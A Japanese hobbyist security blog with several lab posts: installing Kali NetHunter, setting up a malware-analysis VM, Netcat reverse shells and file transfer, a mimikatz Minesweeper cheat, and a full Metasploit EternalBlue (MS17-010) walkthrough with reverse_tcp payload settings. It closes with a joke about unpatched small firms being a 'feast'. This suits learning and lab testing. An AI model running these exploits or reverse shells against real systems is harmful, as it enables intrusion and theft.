ご注文はスマホですか? 【NetHunterの作り方(Nexus 5)】
12月2日にこんな話をする機会をいただきました。
ハッキングガジェットに関する話で、実際の展示とかを失敗を交えながら披露させてもらえましたw
今回はLTで紹介した「NetHunter(Nexus5)」の作り方をまとめてみた。
そもそもNetHunterとは何かと言うと、Androidのスマホにスマホ用にカスタマイズしたKali Linux(ペネトレーションツール)をインストールしたってことでいいかなw(←テキトー)
Kali Linuxのサイトに行く度にちらほらと名称は見かけていたんだけどなかなか手が出せなかった(いろんな意味でw)
でも今回、覚悟を決めて中古のNexus5を購入し作ってみた!
---注意!---
ここから先の内容は、Androidのメーカー保証を受けれなくなるような改造を含みます。正規の使用法を完全に逸脱する内容です。何か起きても自己責任になります。それでも良い!と言うようなお金持ちか、私と同じくらい狂ってる人だけがこの先を見てください。
ここまできたって事は、だいぶ変態ですねw
材料
・Nexus 5
環境
PCからAndroidをいじくるには、「adb」とか、「fastboot」と呼ばれるものが必要になります。これらのインストールについて語ると長くなるし、ググればそれぞれの環境にあったインストール方法を紹介してくれるサイトがわんさかあるので、既にインストール完了している前提で話は進みます。
とりあえずオフィシャルのリンクは以下に貼っておきます。
このサイトにはAndroidのどのバージョンがサポートされているかがまとめてある。(てか、やりようによってはNexusじゃなくてもインストール可能らしい)
ダウンロード
安定版は以下のサイトからダウンロードすればOK
多少不安定でもいいから最新のイメージを使いたいなら以下のサイトからダウンロードするように書いてあるので自己責任でどうぞw
https://build.nethunter.com/nightly/
この時、注意しなくてはならないのが、新規インストールの場合は「nethunter-generic-[arch]-kalifs-*.zip」と「kernel-nethunter-[device]-[os]-*.zip」が必要になり、最後にカーネルをフラッシュしてやる必要があるとかないとか書いてある。
セットアップ
ツールの準備
今回、自分の環境がMacなんで、LinuxとOSX用に用意された「NetHunter Linux Root Toolkit(LRT)」を使ってインストールしていく。(Windowsは、Nexus用のGUIツールがあるらしい)
まずは、上記GithubからLRTをダウンロードして展開する。この後は、ここに書いてある通りに必要なものを集めるだけ!
cd Nethunter-LRT/
中はこんな感じ
Factory Imageのダウンロード
次にGoogle から、Nexus5の Factory Imageをダウンロードしてきて「stockImage」に入れる。下のリンクからFactory Imageのダウンロードサイトに飛んでNexus5の項目を見つけてダウンロード。公式でインストールできるバージョンが、5.1.1と6.0.1と言っている。今回は5.1.1を選択(それでも一番新しそうな奴を選んでみる)
https://developers.google.com/android/images
TWRPのダウンロード
次の手順は、以下のTWRP WEBから、Nexus5のTWRP Imageをダウンロードして「twrpImage」に入れる。
サイトにアクセスしてデバイス名(ここではNexus5)を入力すると候補が出てくるので「LG Nexus 5(hammerhead)」を選択してダウンロードしてくる。
SuperSu(BETA)のダウンロード
同じく、以下のサイトからSuperSuをダウンロードする。
全てのファイルをダウンロードして配置した状態はこんな感じ
この時、ダウンロードしてきたzipファイルや、imageファイルの名前を変更しちゃダメです。
デバックの有効化(開発者向けオプション)
1.Nexusの設定から端末情報を選択
2.ビルド番号を何回かタップする
3.端末情報の上に開発者向けオプションが表示される
4.USBデバックを許可する
これでNexusの準備は完了
インストール
NexusをPCに接続してコンソールを起動する。
1.次のスクリプトを実行して端末のロックを解除する。
./oemUnlock.sh
全ての処理が終了するともう一度開発者向けオプションを有効化してUSBデバッグを有効にする事を示される。
そして次の手順として「stockFlash.sh」を使用してイメージを入れ直すか、TWRPとsuperSUとNethunterがインストールされる「twrpFlash.sh」を実行する事を示される。今回は「stockFlash.sh」を使用してイメージを入れ直す。
2.再度端末のUSBデバッグを有効にした後に以下のコマンドを実行しダウンロードしてきたファクトリーイメージを書き込む。
./stockNexusFlash.sh
何度か自動で再起動するので待機(5分くらい?)
コンソールでここまでくると処理は終了してして端末側が初回起動状態になってる。とりあえず適当に入力して再度、USBデバッグを有効にするところまで実行
上の図のように次の手順が示されている。
3.TWRP、superSU、Nethunterのインストールを実行する「twrpFlash.sh」を実行
./twrpFlash.sh
再起動した後にTWRPがインストールされてユーザからの入力待ち状態になる。
端末側
この状態で、端末側では何も操作せずコンソール側で何かキーを押す。
インストールが始まり、端末側とコンソール側で以下のような感じになる。
のんびりと・・・
優雅に・・・
待機w(それなりに時間かかる)
最後にコンソールに上図のようなメッセージが流れたら無事に終了!
端末側でもKALIの起動ロゴアニメーションが表示されている。
4.最後にカーネルのアップデートを行うので、一度電源を落としてボリュームダウンボタンと電源ボタンを押して起動。するとブートローダーが起動するのでリカバリモードを選択してTWRPを起動する。
用意していたカーネルを端末のダウンロードディレクトリに入れておく。(別に自分がわかるなら何処でもOKだと思う)
端末側はTWRPのメニューから一番左上のインストールを選択
次の画面ではダウンロードディレクトリを選択
カーネルを選択して、右下のインストールイメージを選択
画面下をスワイプしてインストール開始
インストールが終了したら右下の再起動ボタンを選択
Nethunterを起動すると一度だけ聞かれるので許可する。
これでインストールが完了!
まとめ
Nexusへのインストールに関しては資料やツールも多いので簡単に作れると思うw いちおオフィシャルではNexus以外の端末でもインストール可能と表示しているがちょっと敷居が高そうにも思える(個人的には)今、Nexus5や、6あたりは中古市場で安いのが出回っているのでインストールして見るのも楽しいかもしれない⁉︎
Re:ゼロ円から始める解析者生活 【解析環境】
前回までの話
解析環境
仮装環境を導入して、日本語化も済んだのでいよいよ解析環境を構築していきたいけど、1から揃えるのは何気に骨が折れる・・・。そこで今回は、これを利用する。
「FLARE-VM (FLARE:FireEye Labs Advanced Reverse Engineering)」これはFireEye社から出ている解析環境のイメージらしいです。しかも、無料!
とりあえず、天下のFireEyeが出してる環境なら間違いないってことで、こいつを組み込んでいきますw
で、Githubから落としても出来そうなんだけど「インストールや使い方に関してはブログみてね」って書いてあるのでブログの流れで実施します。
1. 上記サイトにアクセス
2. リンクをクリック
3. リンク先からファイルをダウンロードして実行
4. 「実行」を選択
5. インストーラのダウンロードが始まる
6. インストーラのダウンロードが完了したら実行
7. 一度だけパスワードの入力を求められる(インストール時の再起動に利用)
8. あとはインストールの完了を待つだけ。
9. 何度か再起動して待っているとインストールが完了する
普通の?Windowsなら壁紙が変更されているんだけど、これは評価版なんで変更されない様子。でも、ツールはインストールされているので大丈夫。
ツールの一部
・デバッガー
・ネットワーク系
さぁ、これでmalwareの解析がんばってみよう!
Re:ゼロ円から始める解析者生活 【日本語化】
前回までの話
日本語化
インポートしたままだと英語環境で、さすがに厳しかったので日本語化した。
1. 「Contorol Panel」→「Clock, Language, an Region」を選択
2. 続いて「Add a language」を選択
3. 「Add a language」を選択
4. 「日本語」を選択して「Add」を選択
5. 日本語の並びの「Options」を選択
6. 「Download and install language pack」を選択
7. 「Yes」を選択
8. ダウンロードが開始されるのでしばらく待機
9. ダウンロードとインストールが完了したら「日本語」を選択した状態で「Move up」を選択
10. 「日本語」が選択されている状態で、画面左下の「Location」を選択
11. 「Home location」をドロップダウンリストより「Japan」を選択
12. 「Location」タブの隣の「Administrative」タブを選択し「Copy settings...」を選択
13. 「Apply」を選択
14. 出てきた画面下部のチェックボックス2つにチェックを入れて「OK」を選択
15. 再起動
キーボードレイアウトの日本語化
英語キーボードの設定になったままだと色々と不都合なので日本語キーボードに変更した
1. 「Windows」→「設定」を選択
2. 「時刻と言語」を選択
3. 左側の「地域と言語」を選択
3-1. この際、タイムゾーンもついでに変更しておくと便利
4. 日本語の「オプション」を選択
5. ハードウェア キーボードレイアウトの「レイアウトを変更する」を選択
6. 英語キーボードから日本語キーボードに変更して「サインアウト」を選択
7. ログインするをキーボードレイアウトが変更されている
システムロケールの変更
いちおシステムロケールを変更しておく
1. 「コントロールパネル」→「時計、言語、および地域」→「言語」→「場所」
2. 「管理」タブの「システムロケールの変更」を選択
3. 「地域の設定」でドロップダウンリストより「日本語(日本)」を選択して「OK」を選択
4. 再起動して設定完了
解析環境へつづく・・・
Re:ゼロ円から始める解析者生活 【導入】
Malwareの解析をやりたいなぁって思った。
でも、ウチはMacで、Windowsじゃないんだよね(T ^ T)
Macでも解析はできなくはないと思うけどやっぱりWindowsが良いよね。でも、仮想環境からOSまで揃えるとかなりの出費になる・・・。
そんな金はない!
てな訳で、お金をかけないで仮想化したWindowsの解析環境を作れないか追求してみる!
仮想環境
お金をかけない仮想環境といったらやっぱり「Oracle VM VirtualBox」と、個人的に思っているので、ダウンロードして使うことにする。別に「VMware Workstation Player」でも良いんだけど俺の記憶だとスナップショットが使えないような気がしたのでVirtualBoxを利用してます。
あとは、インストールするだけ。これで仮想環境の準備完了。
次にOS、それもWindows。もし、自分は金銭的に余裕あるんで購入します!とか、会社のアカウントでいくらでもダウンロードできるんで大丈夫って人は読み飛ばしてくださいw
実は、Microsoftでは検証用にと無料でWindowsがダウンロードできる仕組みがあります。それが「Microsoft Edge - Microsoft Developer」です。
1. 「Virtual Machines」を選択
2. 「Select a download」の「Virtual machine」ドロップダウンリストより必要なOSのバージョンを選択(今回はWindows10を選択)
3. 「Select platform」のドロップダウンリストより仮想マシンを選択(Virtual Boxを使うので選択)
4. 選択した内容を確認しダウンロード
5. ダウンロードしてきたzipを解凍して、フォルダ内の「MSEdge - Win10.ovf」をVirtual Boxでインポートする。
6. インポート完了
※ ちなみにこのWindowsは、あくまで検証用なので90日しか利用できないので気をつけてください。
起動
VirtualBoxより「起動」を選択してインポートした仮想マシンを起動する。パスワードは「Passw0rd!」
日本語化へ続く・・・
とある親父の侵入実験【Netcatの使い方】
今更感が半端ないんだけど、便利なネットワークツール「Netcat」の基本的な使い方を勉強してみたのでまとめておく。
今回は以下のサイトを参考にして勉強しました。
Port Knocking
nc IPアドレス ポート番号
ncコマンドを使用してポート番号にアクセスすると、そのポート番号を使用しているサービスを調べられる。
Reverse Shell
netcatって言ったらこれかな?てか、ちゃんと調べるまで使用用途はこれしか知らなかったw
Reverse Shellなんで標的となるVictim側から接続先のAttackerへConnectする。
待受側(Attacker)
nc -lvp ポート番号
指定したポートで、標的からのReverse接続を待ち受ける。
接続側(Victim)
nc IPアドレス ポート番号
これで接続できる。でも、
の方が、接続した時のshellを指定できるしなんとなく便利だから使うようにしている。
接続すると
待受側で接続が開始されたメッセージが表示される。
一応、確認するw
Victim端末はmetasploitableなので間違いなくReverse接続されている。
ファイル転送
Reverse接続の応用で、入出力先をファイルにすることでファイルの転送もできる。
先ほどと同じ要領で待ち受けて、出力をファイルにリダイレクトする。
※passというファイルに保存されるようにした
同じく接続も先ほどと同じ要領にしつつ入力をファイルに
※passwordというファイルを作成し入力ファイルにした
接続が行われるとファイルが作成される。
他にもポートスキャンが出来たり、HTTPリクエストが出来たりするようだけど、Reverse接続とファイル転送が出来ればそれで十分かなと思うので他は割愛。
地雷探しに脆弱性を使うのは間違っているだろうか 〜Hack a Minesweeper〜
※これは、2017/06/03に「Akibasec #1」で喋ったLTを再編集したものです。
マインスイーパーってゲームを覚えていますか?若い人はもしかすると聞いたことないかもしれないんですが・・・。昔のWindowsには標準でインストールされているゲームで、いい感じ時間泥棒してくれますw
マインスイーパ(Minesweeper)は1980年代に発明された、一人用のコンピュータゲームである。ゲームの目的は地雷原から地雷を取り除くことである。
このゲームは多数のコンピュータプラットフォーム向けに書き直されており、Microsoft Windowsをはじめ、LinuxのGNOMEやKDEなどのシステムに同梱されているものもある。
ウィキペディアより
ちょっと前回のMS17-010の検証でXPを引っ張り出して使っていたら、このゲームを見つけて見事に半日奪われましたw
そこで、思ったのです・・・
上級をクリアしたい!!
(ちなみに上級の世界記録は33秒らしいですw)
要するにやりたいことは・・・
マインスイーパーの上級をすごい記録でクリアしてみたい!
そのためにマインスイーパーが動いているWindowsをハックして、マインスイーパーの裏技を見つけたい!
というもの。
準備したもの
環境(仮想環境)
- Windows XP(192.168.1.1)
- Kali Linux(192.168.1.100)
1 調査
まずは、おきまりのポートスキャンをしてみた。すると・・・
445番ポートが開いているのが確認できた。と、いうことは前回やったあれが使えますw
Eternal Blue(MS17-010)が使えるか確認する。
脆弱性が残っているのが確認できる。
2 Exploit
脆弱性の存在が、確認できたので前回の要領でWindowsのハックまでやっちゃいます。
なんだかんだで侵入完了。
3 MeterpreterからのまさかのMimikatz
次に、meterpreterからMimikatzを読み込む。
これでmimikatz_commandという、要するにmeterpreter上でmimikatzを利用する準備が整う。パスワードクラックツールのmimikatzがマインスイーパーと何の関係があるのかわからないが、何故かマインスイーパーをクラックする機能がついているのであるw
このmimikatz_commandにあるwinmine::infosってのを使うと・・・
ちょっと画像からだと判別しづらいかもだけど、答えが丸見え状態になってます(^o^)
これで、答えを見ながらクリアすれば良いのか?
実は、もっと便利なコマンドがあります。
それはwinmine::cheatと入力すると・・・(もうcheatって響きがとても良い!)
上図は、見やすいように先にinfosで地雷の位置を表示させてからcheatを使用。
見事に地雷の位置に旗が立っている!この状態で旗の立っていない空白をクリックすると・・・
クリア!!(所要時間1秒)
と、いう感じにチートができました(^-^)v
4 まとめ
ハッキングってどんなのー?って話を全くセキュリティのわからない人にする時って本当に困ります。目の前のパソコンに侵入して壁紙変えたりするのも良いかもしれないが、こんなやり方も若い子や、初めてセキュリティに触れる人には喜ばれるのでは?
とある親父の侵入実験【MS17-010の活用】
今更なんだけど最近話題のWannaCryptが利用していることでお馴染みの脆弱性「MS17-010」を利用した攻撃というものを検証してみたいと思う。
本脆弱性に関する細かいことは以下のリンクを参照してください。
マイクロソフト セキュリティ情報 MS17-010 - 緊急
今回は、この動画を参考にしています。
準備したもの
環境(仮想環境)
1 環境構築
この動画によると、まず、wineをインストールする。
root@kl-01rbt:~# apt-get update
root@kl-01rbt:~# apt-get install wine32
我が家の環境では、既にインストールされていた様子
次に脆弱性を利用する攻撃モジュールをゲットしてくる。
root@kl-01rbt:~# git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
落としてきたやつの「deps」と「eternalblue_doublepulsar.rb」を/usr/share/metasploit-framework/modules/exploits/windows/smbにコピーする。この作業は動画のようにGUIでやったほうが簡単かも
2 調査
次に対象となるWindows 7がSMBv1を使っているのかを調査する。
調査用のモジュールは最近のアップデートで組み込まれている様子。
msf > search ms17-010
これでDBを探すと「auxiliary/scanner/smb/smb_ms17_010」という名前の「MS17-010 SMB RCE Detection」をしてくれるモジュールが見つかるので実行
msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.150
RHOSTS => 192.168.1.150
msf auxiliary(smb_ms17_010) > run
調査の結果としては、MS17-010の脆弱性があって何か出来そうな雰囲気を醸し出してくれるw
3 攻撃準備
モジュールを配置したらmetasploitの起動
root@kl-01rbt:~# msfconsole
起動したら
msf > search eternalblue
さっき入れたモジュールが見つかったらいつものように設定していく。今回はやたら設定項目長い・・・。
msf > use exploit/windows/smb/eternalblue_doublepulsar
msf exploit(eternalblue_doublepulsar) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(eternalblue_doublepulsar) > set DOUBLEPULSARPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
DOUBLEPULSARPATH => /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
msf exploit(eternalblue_doublepulsar) > set ETERNALBLUEPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
ETERNALBLUEPATH => /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
msf exploit(eternalblue_doublepulsar) > set target 9
target => 9
msf exploit(eternalblue_doublepulsar) > set RHOST 192.168.1.150
RHOST => 192.168.1.150
msf exploit(eternalblue_doublepulsar) > set WINEPATH /root/
WINEPATH => WINEPATH /root/
msf exploit(eternalblue_doublepulsar) > set TARGETARCHITECTURE x86
TARGETARCHITECTURE => x86
msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT explorer.exe
PROCESSINJECT => explorer.exe
msf exploit(eternalblue_doublepulsar) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
4 攻撃
これを実行してやると・・・
見事に侵入成功w
5 結論
この脆弱性自体、3月のアップデートで修正されているんだけど、今回のランサムウェア騒ぎでは適応していなかった(若しくは何かしらの理由で適応できない)環境の端末が感染して大変なことになった。やはり、パッチは公開されたら適用するべきだと思うし、もし何かしらの理由で適用ができないならばしっかりと代替手段を講じるべきだと思う。
ま、ペネトレ仕掛ける側とすると、こんなメジャー級の脆弱性が残ってる中小企業さんとか見つけちゃうと可哀想(ご馳走)に思えちゃうんだけどねw